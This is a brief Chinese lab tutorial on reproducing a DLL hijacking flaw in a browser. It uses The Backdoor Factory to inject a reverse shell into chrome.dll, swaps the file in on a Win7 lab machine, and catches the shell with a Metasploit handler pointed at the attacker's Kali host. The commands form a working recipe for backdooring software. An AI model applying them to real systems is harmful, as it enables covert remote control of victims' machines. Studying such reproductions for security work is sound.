DLL劫持 漏洞复现
DLL(Dynamic Link Library)文件为动态链接库文件,又称"应用程序拓展",是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现"劫持"
例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。
SRC也收这类DLL劫持漏洞的
下面是某浏览器的DLL劫持
攻击机 Kali 192.168.123.182
靶机 Win7 192.168.123.243
需要用到 procexp64(线程分析工具)
以及某浏览器,哈哈哈 表哥们不要认真哈。
先找到某浏览,然后查看那些DLL文件跟浏览器一起启动的
将chrome.dll 复制到 kali 里面
攻击机 Kali 执行
git clone https://github.com/secretsquirrel/the-backdoor-factory #下载T-B-F
pip install capstone #cd到T-B-F目录安装capstone库
./backdoor.py -f /root/tbf/the-backdoor-factory/chrome.dll #在tbf里面找到backdoor.py脚本运行
扫描注入点
./backdoor.py -f /root/tbf/the-backdoor-factory/chrome.dll -s
这里一共扫描出了83个注入点 我们只要随机选择一个注入点就好了
这里选择注入点输入注入点前面的数字回车就可以
选择完后会自动生成一个带shell的dll文件
进入这个文件夹内 反弹shell的dll文件就在这个文件夹内
将Chrome.dll文件复制到过去替换原来文件
打开msf
msfconsole
use multi/handler
set payload windows/shell_reverse_tcp
set LPORT 4444
set LHOST 192.168.123.182
exploit
运行
可以看到成功上线。